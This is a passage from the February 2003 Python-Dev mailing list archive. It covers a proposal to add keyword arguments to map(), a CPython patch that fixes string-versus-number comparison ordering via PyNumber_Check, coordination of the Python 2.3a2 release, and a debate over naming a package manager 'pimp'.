patch is to have map recognize its keyword arguments like this: map( f, L , y=K ) The result would be: def map( f, L, **kw ): # accepts only one list for simplicity l=[] for i in L: l.append( f(i,**kw) ) return l While it doesn't solve every problem (passing a value to the first arg) it could help remove many uses of lambda functions. If it turns out to be useful to people other than me I can also make a patch for the filter function which could benefit from the same extension. Since the patch is very small I include it here (against the latest python 2.3 cvs) Comments ? Index: src/Doc/lib/libfuncs.tex =================================================================== RCS file: /cvsroot/python/python/dist/src/Doc/lib/libfuncs.tex,v retrieving revision 1.128 diff -u -r1.128 libfuncs.tex --- src/Doc/lib/libfuncs.tex 31 Jan 2003 17:19:05 -0000 1.128 +++ src/Doc/lib/libfuncs.tex 18 Feb 2003 10:48:15 -0000 @@ -643,12 +643,14 @@ point numbers to integers truncates (towards zero). \end{funcdesc} -\begin{funcdesc}{map}{function, list, ...} +\begin{funcdesc}{map}{function, list1, ..., listN\optional{, k1=a1,...}} Apply \var{function} to every item of \var{list} and return a list of the results. If additional \var{list} arguments are passed, \var{function} must take that many arguments and is applied to the items of all lists in parallel; if a list is shorter than another it - is assumed to be extended with \code{None} items. If \var{function} + is assumed to be extended with \code{None} items. If optional keyword + arguments are passed, \var{function} must accept them as named arguments + and they are passed each time \var{function} is called. If \var{function} is \code{None}, the identity function is assumed; if there are multiple list arguments, \function{map()} returns a list consisting of tuples containing the corresponding items from all lists (a kind Index: src/Python/bltinmodule.c =================================================================== RCS file: /cvsroot/python/python/dist/src/Python/bltinmodule.c,v retrieving revision 2.281 diff -u -r2.281 bltinmodule.c --- src/Python/bltinmodule.c 13 Feb 2003 22:07:58 -0000 2.281 +++ src/Python/bltinmodule.c 18 Feb 2003 10:48:22 -0000 @@ -731,7 +731,7 @@ static PyObject * -builtin_map(PyObject *self, PyObject *args) +builtin_map(PyObject *self, PyObject *args, PyObject *kwargs) { typedef struct { PyObject *it; /* the iterator object */ @@ -854,7 +854,7 @@ if (func == Py_None) value = alist; else { - value = PyEval_CallObject(func, alist); + value = PyEval_CallObjectWithKeywords(func, alist, kwargs); Py_DECREF(alist); if (value == NULL) goto Fail_1; @@ -1780,7 +1780,7 @@ {"iter", builtin_iter, METH_VARARGS, iter_doc}, {"len", builtin_len, METH_O, len_doc}, {"locals", (PyCFunction)builtin_locals, METH_NOARGS, locals_doc}, - {"map", builtin_map, METH_VARARGS, map_doc}, + {"map", builtin_map, METH_KEYWORDS, map_doc}, {"max", builtin_max, METH_VARARGS, max_doc}, {"min", builtin_min, METH_VARARGS, min_doc}, {"oct", builtin_oct, METH_O, oct_doc}, -- Ludovic Aubry LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From guido@python.org Tue Feb 18 13:00:02 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 08:00:02 -0500 Subject: [Python-Dev] [rfc] map enhancement In-Reply-To: "Your message of Tue, 18 Feb 2003 12:18:44 +0100." <20030218111844.GA10112@logilab.fr> References: <20030218111844.GA10112@logilab.fr> Message-ID: <200302181300.h1ID02O04639@pcp02138704pcs.reston01.va.comcast.net> > Using map you always end up using lambda functions to pass constant > arguments to the mapping function like this: > > map( lambda x,y=K: f(x,y), L ) This can now done by writing instead: map(lambda x: f(x, K), L) or if you don't want the lambda, you can use a list comprehension: [f(x, K) for x in L] > What I propose in this patch is to have map recognize its keyword > arguments like this: > > map( f, L , y=K ) > > The result would be: > def map( f, L, **kw ): # accepts only one list for simplicity > l=[] > for i in L: > l.append( f(i,**kw) ) > return l > > While it doesn't solve every problem (passing a value to the first arg) > it could help remove many uses of lambda functions. While your patch scores high in minimal changes to the implementation, I don't like the resulting notation. While map(f, L) is reasonably natural, map(f, L, y=K) is not. Also, most C functions don't accept keyword arguments, so this won't help as much in the case where there's a speed reason for avoiding lambdas and list comprehensions. --Guido van Rossum (home page: http://www.python.org/~guido/) From duncan@rcp.co.uk Tue Feb 18 13:22:26 2003 From: duncan@rcp.co.uk (Duncan Booth) Date: Tue, 18 Feb 2003 13:22:26 +0000 Subject: [Python-Dev] [rfc] map enhancement References: <20030218111844.GA10112@logilab.fr> Message-ID: [posted and mailed] Ludovic Aubry wrote in news:20030218111844.GA10112@logilab.fr: > Using map you always end up using lambda functions to pass constant > arguments to the mapping function like this: > > map( lambda x,y=K: f(x,y), L ) You can also write this as: map(lambda x: f(x,K), L) which is arguably cleaner although these days I would probably use a list comprehension. > > What I propose in this patch is to have map recognize its keyword > arguments like this: > > map( f, L , y=K ) > > The result would be: > def map( f, L, **kw ): # accepts only one list for simplicity > l=[] > for i in L: > l.append( f(i,**kw) ) > return l Or in the general case: def map(f, *L, **kw): return [ f(*i, **kw) for i in L] > > While it doesn't solve every problem (passing a value to the first arg) > it could help remove many uses of lambda functions. > Have you looked at any code using map to see what proportion of calls this would help. In particular how often do all the fixed arguments match this pattern so they could be passed as keywords? I do have a problem with this. It looks as though it ought to work in some situations where it doesn't. For example, searching my lib directory for occurences of map, I only found one place where it looks as though this new form could be used. That is in win32comext\mapi\mapiutil.py which contains: return map(lambda(v): v[1], data) It appears as though you ought to be able to write this as: return map(operator.getitem, data, b=1) except that operator.getitem, in common with many builtin functions doesn't accept any keyword arguments. This is a pity as it cripples most of the situations where you might otherwise want to use this. e.g. add a constant to elements of a list, or multiply by a constant. -- Duncan Booth duncan@rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From guido@python.org Tue Feb 18 14:50:43 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 09:50:43 -0500 Subject: [Python-Dev] Python 2.3a2 release today? Message-ID: <200302181450.h1IEoiY20543@pcp02138704pcs.reston01.va.comcast.net> I'd like to release Python 2.3a2 today, if at all possible. Is there anything (outside the Mac tree) that should really be done before this release? Note that this is *not* the last opportunity to get new features in -- that would be 2.3b1, to be released a month from now. (Unless there's a screw-up in this release, I am planning no further alpha releases.) This email doesn't start a checkin freeze -- I'll announce that later when I feel more confident that there aren't any big pending issues. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 18 15:05:21 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 10:05:21 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: "Your message of Tue, 18 Feb 2003 00:39:57 EST." References: Message-ID: <200302181505.h1IF5Lp21080@pcp02138704pcs.reston01.va.comcast.net> > [Neal Norwitz] > > * AIX sorts numbers and strings in a different order than Linux: > > > > >>> 'ick' >= 0 # Linux > > True > > > > >>> 'ick' >= 0 # AIX > > False > > > > This causes failures for test_descrtut and test_random. > > It shouldn't. Regardless of platform, this should end up at the tail end of > default_3way_compare(), resolved by the > > c = strcmp(vname, wname); > > line with vname "str" and wname "" (an empty string). > > But-- ick! --it doesn't, and not on any platform anymore. vname and wname > are both empty strings now, so it goes on to compare the objects by memory > address and the outcome is pure accident ... this is because rev 2.197 of > stringobject.c gave string objects a non-NULL tp_as_number slot for the > first time. The intent of the emtpy-string gimmick was to make all numeric > objects "less than" all non-numeric objects (excepting None, which is less > than every non-None value), in particular so that sorting a list would bring > all the number-like thingies next to each other. Strings weren't intended > to take part in this number gimmick too. Then again, comparison is so snaky > it's hard to predict what it will do. In any case, this is incompatible > with previous Python releases. Neil(S), was giving strings a tp_as_number > slot necessary? Or just the least painful way to fix whatever bug it was > fixing? I suppose the tail end of default_3way_compare could grow more > special cases to exempt strings from being treated like numbers for the > purpose of comparison. I forget what Neil's motivation was; SF bug #615506 doesn't really mention much for motivation. I suspect it's simply cleanliness. Maybe PyNumber_Check() could be changed? This has been proposed before. It could check whether the type implements conversion to int, for example. Or it could check whether the type derives from a new-to-introduce abstract base class ("basenumber"). --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 18 14:56:57 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 09:56:57 -0500 Subject: [Python-Dev] 308: the debate is petering out In-Reply-To: "Your message of Tue, 18 Feb 2003 07:44:12 +0100." <004001c2d719$25deae20$6d94fea9@newmexico> References: <004001c2d719$25deae20$6d94fea9@newmexico> Message-ID: <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net> Aahz, is it time to start collecting the votes yet? Raymond, have any new proposals been suggested and not shot down? Somebody mentioned usability studies. Did anything come out of that? --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Tue Feb 18 15:23:48 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 10:23:48 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <200302181505.h1IF5Lp21080@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido, on string-vs-number comparisons falling back to comparison by memory address now, instead of previous number < string behavior] > I forget what Neil's motivation was; SF bug #615506 doesn't really > mention much for motivation. I suspect it's simply cleanliness. > > Maybe PyNumber_Check() could be changed? This has been proposed > before. It could check whether the type implements conversion to int, > for example. Or it could check whether the type derives from a > new-to-introduce abstract base class ("basenumber"). The code in question doesn't invoke PyNumber_Check(), so changing that wouldn't change behavior here. The code in question could be changed to start invoking PyNumber_Check, though. Looks like, in the core, PyNumber_Check is used only by select_select and poll_pool. Try passing a string as the timeout arg to a select() call! Looks to me like it will end up segfaulting here in PyFloat_AsDouble: fo = (PyFloatObject*) (*nb->nb_float) (op); So the only PyNumber_Check() uses in the core appear to believe that nb->nb_float isn't NULL if the test passes (but PyNumber_Check isn't actually testing for that, and nb_float isn't always NULL when the test passes). NEWS sez: """ - PyNumber_Check() now returns true for string and unicode objects. This is a result of these types having a partially defined tp_as_number slot. (This is not a feature, but an indication that PyNumber_Check() is not very useful to determine numeric behavior. It may be deprecated.) """ From nas@python.ca Tue Feb 18 16:03:36 2003 From: nas@python.ca (Neil Schemenauer) Date: Tue, 18 Feb 2003 08:03:36 -0800 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: References: <20030218045757.GU31973@epoch.metaslash.com> Message-ID: <20030218160336.GA20326@glacier.arctrix.com> Tim Peters wrote: > Neil(S), was giving strings a tp_as_number slot necessary? Or just > the least painful way to fix whatever bug it was fixing? I suppose > the tail end of default_3way_compare could grow more special cases to > exempt strings from being treated like numbers for the purpose of > comparison. It was not necessary but I thought it was cleaner. Here is the important part of the patch: diff -u -r2.106 abstract.c --- Objects/abstract.c 5 Nov 2002 18:05:49 -0000 2.106 +++ Objects/abstract.c 17 Nov 2002 18:28:22 -0000 @@ -639,12 +639,6 @@ PyObject * PyNumber_Remainder(PyObject *v, PyObject *w) { - if (PyString_Check(v)) - return PyString_Format(v, w); -#ifdef Py_USING_UNICODE - else if (PyUnicode_Check(v)) - return PyUnicode_Format(v, w); -#endif return binary_op(v, w, NB_SLOT(nb_remainder), "%"); } The problem with special casing "unicode" and "str" is that subclasses could not override __mod__. I think it would also work to remove the tp_as_number slot and then do the PyUnicode_Check and PyString_Check after trying binary_op(). The tp_as_number check in default_3way_compare pretty bogus though, IMHO. With the new type changes a lot of types have a tp_as_number slot. I think the compare code needs to change. Neil From guido@python.org Tue Feb 18 16:02:14 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 11:02:14 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: "Your message of Tue, 18 Feb 2003 10:23:48 EST." References: Message-ID: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net> > [Guido, on string-vs-number comparisons falling back to comparison > by memory address now, instead of previous number < string behavior] > > > I forget what Neil's motivation was; SF bug #615506 doesn't really > > mention much for motivation. I suspect it's simply cleanliness. > > > > Maybe PyNumber_Check() could be changed? This has been proposed > > before. It could check whether the type implements conversion to int, > > for example. Or it could check whether the type derives from a > > new-to-introduce abstract base class ("basenumber"). [Tim] > The code in question doesn't invoke PyNumber_Check(), so changing that > wouldn't change behavior here. The code in question could be changed to > start invoking PyNumber_Check, though. Good idea. > Looks like, in the core, PyNumber_Check is used only by select_select and > poll_pool. Try passing a string as the timeout arg to a select() call! > Looks to me like it will end up segfaulting here in PyFloat_AsDouble: > > fo = (PyFloatObject*) (*nb->nb_float) (op); No, that code is guarded by a test whether tp_as_number == NULL or nb_float is NULL; it issues the expected message "a float is required". [Neal, later] > The tp_as_number check in default_3way_compare pretty bogus though, > IMHO. With the new type changes a lot of types have a tp_as_number > slot. I think the compare code needs to change. Yes, but how? --Guido van Rossum (home page: http://www.python.org/~guido/) From nas@python.ca Tue Feb 18 16:21:49 2003 From: nas@python.ca (Neil Schemenauer) Date: Tue, 18 Feb 2003 08:21:49 -0800 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: References: <200302181505.h1IF5Lp21080@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030218162149.GB20326@glacier.arctrix.com> Tim Peters wrote: > The code in question doesn't invoke PyNumber_Check(), so changing that > wouldn't change behavior here. The code in question could be changed to > start invoking PyNumber_Check, though. PyNumber_Check is pretty useless. Don't blame me, it was useless before I got to it. :-) > Looks like, in the core, PyNumber_Check is used only by select_select and > poll_pool. Try passing a string as the timeout arg to a select() call! > Looks to me like it will end up segfaulting here in PyFloat_AsDouble: > > fo = (PyFloatObject*) (*nb->nb_float) (op); You are thinking of PyFloat_AS_DOUBLE, I think. Python 2.3a1 (#6, Feb 4 2003, 15:46:59) [GCC 2.95.4 20011002 (Debian prerelease)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import select >>> select.select([], [], [], "ha ha") Traceback (most recent call last): File "", line 1, in ? TypeError: a float is required It's unclear what PyNumber_Check should be replaced with. Perhaps a test that determined if an object could be turned into a float or an int. Something like: PyNumber_AsIntegerCheck(o) { if PyFloat_Check(o) return false; /* truncating a float is not acceptable */ else return true of nb_int exists } PyNumber_AsFloatCheck(o) { return true if nb_float exists } PyNumber_Check could perhaps be changed to look for nb_float or nb_int. I'm not sure if that breaks more or less extension modules. :-( Neil From nas@python.ca Tue Feb 18 16:24:39 2003 From: nas@python.ca (Neil Schemenauer) Date: Tue, 18 Feb 2003 08:24:39 -0800 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net> References: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030218162439.GC20326@glacier.arctrix.com> Guido van Rossum wrote: > [Neal, later] > > The tp_as_number check in default_3way_compare pretty bogus though, > > IMHO. With the new type changes a lot of types have a tp_as_number > > slot. I think the compare code needs to change. > > Yes, but how? Maybe PyNumber_Check should check for (tp_as_number and (nb_int or nb_float)) and then default_3way_compare should use it instead of checking for tp_as_number. Neil From guido@python.org Tue Feb 18 16:17:04 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 11:17:04 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: "Your message of Mon, 17 Feb 2003 23:57:57 EST." <20030218045757.GU31973@epoch.metaslash.com> References: <20030218045757.GU31973@epoch.metaslash.com> Message-ID: <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net> > It ain't real pretty, but it could be worse: > > http://metaslash.com/py/2.3-problems.html Thanks! > I'm trying to commit changes to the logging package, but SF has a > stale CVS lock for anoncvs_python. I filed a support request. > Hopefully they will have it fixed within a month or two, at least by > the time 2.3 is ready to be released. I don't know if the updates are > supposed to fix the test hangs/failures for test_logging. I this done now? (I saw a bunch of checkins to logging stuff.) > Here's the problem highlights (there are more, follow the link): > > * There are 3 64-bit issues: > http://python.org/sf/688424 You fixed these now. (I'm not real excited about the following to subjects, do what you see fit.) > * test_pty hangs on 3 platforms, possible fix: > http://python.org/sf/671384 (Sounds find to me.) > * test_resource can fail when filesize is limited > http://python.org/sf/678264 (Ditto.) > * iconv module calls PyFatalError() if the C module initialization > fails, is there a better way to handle this? I had to > disable building iconv on AIX. Yes, you can raise an exception and return. This is a bit weird (there's no return value) but AFAIK it is documented that a module init function can raise an exception and return to indicate failure. > * AIX sorts numbers and strings in a different order than Linux: > > >>> 'ick' >= 0 # Linux > True > > >>> 'ick' >= 0 # AIX > False > > This causes failures for test_descrtut and test_random. I have a tentative fix for this (use PyNumber_Check() in default_3way_compare() and augment PyNumber_Check() to test whether the type defines nb_int). Can you check this on AIX? [*] > I don't expect to get these taken care of for 2.3a2 assuming > it's released tomorrow. It would be nice to have most of > the platforms clean for the beta. Yes. [*] Patch: Index: Objects/object.c =================================================================== RCS file: /cvsroot/python/python/dist/src/Objects/object.c,v retrieving revision 2.197 diff -c -r2.197 object.c *** Objects/object.c 5 Feb 2003 19:35:19 -0000 2.197 --- Objects/object.c 18 Feb 2003 16:15:53 -0000 *************** *** 633,640 **** if (w == Py_None) return 1; ! /* different type: compare type names */ ! if (v->ob_type->tp_as_number) vname = ""; else vname = v->ob_type->tp_name; --- 633,640 ---- if (w == Py_None) return 1; ! /* different type: compare type names; numbers are smaller */ ! if (PyNumber_Check(v)) vname = ""; else vname = v->ob_type->tp_name; Index: Objects/abstract.c =================================================================== RCS file: /cvsroot/python/python/dist/src/Objects/abstract.c,v retrieving revision 2.117 diff -c -r2.117 abstract.c *** Objects/abstract.c 12 Feb 2003 03:36:05 -0000 2.117 --- Objects/abstract.c 18 Feb 2003 16:15:54 -0000 *************** *** 308,314 **** int PyNumber_Check(PyObject *o) { ! return o && o->ob_type->tp_as_number; } /* Binary operators */ --- 308,315 ---- int PyNumber_Check(PyObject *o) { ! return o && o->ob_type->tp_as_number && ! o->ob_type->tp_as_number->nb_int; } /* Binary operators */ --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Tue Feb 18 16:21:24 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 11:21:24 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Tim] >> fo = (PyFloatObject*) (*nb->nb_float) (op); [Guido] > No, that code is guarded by a test whether tp_as_number == NULL or > nb_float is NULL; it issues the expected message "a float is required". Oops! You're right, of course. [Neal, later] >> The tp_as_number check in default_3way_compare pretty bogus though, >> IMHO. With the new type changes a lot of types have a tp_as_number >> slot. I think the compare code needs to change. [Guido] > Yes, but how? It's a good question. All builtin numeric types have a non-NULL nb_float slot, but some non-numeric types do too (proxies, and even _winreg.c's PyHKEY_Type). From mats@laplaza.org Tue Feb 18 16:24:04 2003 From: mats@laplaza.org (Mats Wichmann) Date: Tue, 18 Feb 2003 09:24:04 -0700 Subject: [Python-Dev] Re: Package Install Manager for Python In-Reply-To: <20030217230801.27870.52433.Mailman@mail.python.org> Message-ID: <5.1.0.14.1.20030218091355.01ea9af0@mail.laplaza.org> >I just don't view it as that insulting. In America it has >become a slang term to mean something is cool; "That's so pimp!" Jeez, I'm clearly getting old, never heard this one. >I don't think that's going to fly... just think of a >user manual: "Please use the pimp for your platform to >download piddle from the Internet. After successful >operation, click on idle to start off into working mode." > >Must be a cultural thing... Hardly, it's well known we "Yanks" don't have any (culture). What we also don't have any longer is a collective sense of humor in the use of language (we can find _anything_ offensive), which suggests we should be barred from suggesting names for anything :-) The first definition in my dictionary for pimp is simply "procurer". From aahz@pythoncraft.com Tue Feb 18 16:29:28 2003 From: aahz@pythoncraft.com (Aahz) Date: Tue, 18 Feb 2003 11:29:28 -0500 Subject: [Python-Dev] 308: the debate is petering out In-Reply-To: <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net> References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030218162928.GA16032@panix.com> On Tue, Feb 18, 2003, Guido van Rossum wrote: > > Aahz, is it time to start collecting the votes yet? Maybe, but I've been too sick of the discussion to read it for the past three days, and I'm leaving today for the fifth anniversary of my outlaw wedding. I'll be back Friday. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From guido@python.org Tue Feb 18 16:29:38 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 11:29:38 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: "Your message of Tue, 18 Feb 2003 08:24:39 PST." <20030218162439.GC20326@glacier.arctrix.com> References: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net> <20030218162439.GC20326@glacier.arctrix.com> Message-ID: <200302181629.h1IGTcn05453@pcp02138704pcs.reston01.va.comcast.net> > Maybe PyNumber_Check should check for (tp_as_number and (nb_int or > nb_float)) and then default_3way_compare should use it instead of > checking for tp_as_number. Good idea. I'll check that in, and use PyNumber_Check() in default_3way_compare() as in my previous post. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 18 16:30:44 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 11:30:44 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: "Your message of Tue, 18 Feb 2003 11:21:24 EST." References: Message-ID: <200302181630.h1IGUiT05465@pcp02138704pcs.reston01.va.comcast.net> > It's a good question. All builtin numeric types have a non-NULL > nb_float slot, but some non-numeric types do too (proxies, and even > _winreg.c's PyHKEY_Type). Well, proxies deserve to be considered numeric. --Guido van Rossum (home page: http://www.python.org/~guido/) From neal@metaslash.com Tue Feb 18 16:33:41 2003 From: neal@metaslash.com (Neal Norwitz) Date: Tue, 18 Feb 2003 11:33:41 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net> References: <20030218045757.GU31973@epoch.metaslash.com> <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030218163341.GW31973@epoch.metaslash.com> On Tue, Feb 18, 2003 at 11:17:04AM -0500, Guido van Rossum wrote: > > > I'm trying to commit changes to the logging package, but SF has a > > stale CVS lock for anoncvs_python. I filed a support request. > > Hopefully they will have it fixed within a month or two, at least by > > the time 2.3 is ready to be released. I don't know if the updates are > > supposed to fix the test hangs/failures for test_logging. > > I this done now? (I saw a bunch of checkins to logging stuff.) Yes, SF cleared the lock. The tests still fail on some machines. > (I'm not real excited about the following to subjects, do what you see > fit.) These are low priority. I'll wait for someone to review. > > * AIX sorts numbers and strings in a different order than Linux: > > > > >>> 'ick' >= 0 # Linux > > True > > > > >>> 'ick' >= 0 # AIX > > False > > > > This causes failures for test_descrtut and test_random. > > I have a tentative fix for this (use PyNumber_Check() in > default_3way_compare() and augment PyNumber_Check() to test whether > the type defines nb_int). Can you check this on AIX? [*] The patch fixed test_random, but not test_descrtut. I didn't run the full test suite. Neal From tim.one@comcast.net Tue Feb 18 16:33:12 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 11:33:12 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido] > I have a tentative fix for this (use PyNumber_Check() in > default_3way_compare() and augment PyNumber_Check() to test whether > the type defines nb_int). Sounds good to me. It's interesting then that complex numbers will pass the PyNumber_Check test because they set nb_int to a routine that unconditionally raises an exception. Checking for nb_negative may be crisper? From tim.one@comcast.net Tue Feb 18 16:41:50 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 11:41:50 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <20030218163341.GW31973@epoch.metaslash.com> Message-ID: [Neal Norwitz] > The patch fixed test_random, but not test_descrtut. I didn't run the > full test suite. How about showing us the failing output from test_descrtut? Offhand I don't see anything that would be affected apart from the last line of this doctest: >>> def sorted(seq): ... seq.sort() ... return seq >>> print sorted(a.keys()) [1, 2] >>> exec "x = 3; print x" in a 3 >>> print sorted(a.keys()) [1, 2, '__builtins__', 'x'] From tim.one@comcast.net Tue Feb 18 16:55:38 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 11:55:38 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: Message-ID: I noticed that one of the doctests in test_descrtut displayed a dictionary without sorting it first. I just checked in a repair for that. From neal@metaslash.com Tue Feb 18 17:02:34 2003 From: neal@metaslash.com (Neal Norwitz) Date: Tue, 18 Feb 2003 12:02:34 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: References: Message-ID: <20030218170233.GX31973@epoch.metaslash.com> On Tue, Feb 18, 2003 at 11:55:38AM -0500, Tim Peters wrote: > I noticed that one of the doctests in test_descrtut displayed a dictionary > without sorting it first. I just checked in a repair for that. Looks good: test_descr test_descrtut test_random All 3 tests OK. I'll run all the tests now on various platform. But things look pretty good on this side. Neal From python-kbutler@sabaydi.com Tue Feb 18 17:13:03 2003 From: python-kbutler@sabaydi.com (Kevin J. Butler) Date: Tue, 18 Feb 2003 10:13:03 -0700 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: <20030218155507.20181.90756.Mailman@mail.python.org> References: <20030218155507.20181.90756.Mailman@mail.python.org> Message-ID: <3E52699F.5050701@sabaydi.com> > > >From: Jack Jansen > >Wonderful, split votes:-) > But look at the intensity of the feeling: + on pimp = "a bit of a joke" - on pimp = "very offensive" This suggests to me that an alternative is warranted. +1 packman -5 pimp kb PS. Note that according to the US Patent/Trademark office, the similar Bally Midway/Namco trademark is for "pac-man", as distinct from "pacman" or "packman" see http://tess2.uspto.gov/bin/gate.exe?f=tess&state=vbocn0.1.1 From tim.one@comcast.net Tue Feb 18 17:12:13 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 12:12:13 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <20030218170233.GX31973@epoch.metaslash.com> Message-ID: [Neal Norwitz] > Looks good: > > test_descr > test_descrtut > test_random > All 3 tests OK. Excellent! Take the rest of the year off . From aahz@pythoncraft.com Tue Feb 18 17:38:36 2003 From: aahz@pythoncraft.com (Aahz) Date: Tue, 18 Feb 2003 12:38:36 -0500 Subject: [Python-Dev] Re: Package Install Manager for Python In-Reply-To: References: <3E50A068.5050709@lemburg.com> Message-ID: <20030218173836.GB11827@panix.com> On Mon, Feb 17, 2003, Terry Reedy wrote: > > Ok, I'll be uncool. To me, a pimp is a type of rapist. Hardly > something to joke about. In much of America, asking a female employee > to use 'pimp' to procure something might well be an invitation to file > a sex-harassment lawsuit. To both me and my wife (who would be > insulted if so asked), the name says 'this is a college frat/nerd > prank product, not for serious business/professional use". Yeah, I was wavering, but now I think I'm -1, too. In particular, I suspect that "pimp" would be far more likely to bother women. There don't seem to be many women on python-dev; perhaps we should ask on c.l.py. OTOH, I disagree with Terry about pimp == rapist, but that's a debate for another forum. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From Jack.Jansen@oratrix.com Tue Feb 18 18:34:10 2003 From: Jack.Jansen@oratrix.com (Jack Jansen) Date: Tue, 18 Feb 2003 19:34:10 +0100 Subject: [Python-Dev] Python 2.3a2 release today? In-Reply-To: <200302181450.h1IEoiY20543@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <926B1A7E-436F-11D7-86D3-000A27B19B96@oratrix.com> On dinsdag, feb 18, 2003, at 15:50 Europe/Amsterdam, Guido van Rossum wrote: > I'd like to release Python 2.3a2 today, if at all possible. Is there > anything (outside the Mac tree) that should really be done before this > release? There's a serious bug in the applet support for Mac OS X. If at all possible I'd like to fix that before the release, hopefully later tonight otherwise early tomorrow. I've filed a bug report (#688907) with priority 8, but of course if you're really desperate to release tonight you can always override it, -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From guido@python.org Tue Feb 18 18:43:08 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 13:43:08 -0500 Subject: [Python-Dev] Python 2.3a2 release today? In-Reply-To: "Your message of Tue, 18 Feb 2003 19:34:10 +0100." <926B1A7E-436F-11D7-86D3-000A27B19B96@oratrix.com> References: <926B1A7E-436F-11D7-86D3-000A27B19B96@oratrix.com> Message-ID: <200302181843.h1IIh8b09061@pcp02138704pcs.reston01.va.comcast.net> > On dinsdag, feb 18, 2003, at 15:50 Europe/Amsterdam, Guido van Rossum > wrote: > > > I'd like to release Python 2.3a2 today, if at all possible. Is there > > anything (outside the Mac tree) that should really be done before this > > release? > > There's a serious bug in the applet support for Mac OS X. If at all > possible I'd like to fix that before the release, hopefully later > tonight otherwise early tomorrow. I've filed a bug report (#688907) > with priority 8, but of course if you're really desperate to release > tonight you can always override it, OK, we can do the release tomorrow. BTW, I asked you about your need for PyArg_Parse format codes that truncate, but never received a reply. I can't do that now, but can you at least indicate whether you still want it? (Adding a followup to SF bug #595026 would be sufficient.) --Guido van Rossum (home page: http://www.python.org/~guido/) From mhammond@skippinet.com.au Tue Feb 18 21:41:20 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Wed, 19 Feb 2003 08:41:20 +1100 Subject: [Python-Dev] Re: Package Install Manager for Python In-Reply-To: <20030218173836.GB11827@panix.com> Message-ID: <00a401c2d796$79fe2440$530f8490@eden> Goodness, what a funny bunch you Yanks are <0.1 wink> And-like-we-aren't ly, Mark. From guido@python.org Tue Feb 18 22:21:28 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 18 Feb 2003 17:21:28 -0500 Subject: [Python-Dev] Re: Python 2.3a2 release today? In-Reply-To: Your message of "Tue, 18 Feb 2003 09:50:43 EST." Message-ID: <200302182221.h1IMLSZ30531@pcp02138704pcs.reston01.va.comcast.net> We ran into some problems with pickling, and Jack needs more time for an applet builder bug, so the 2.3a2 release will 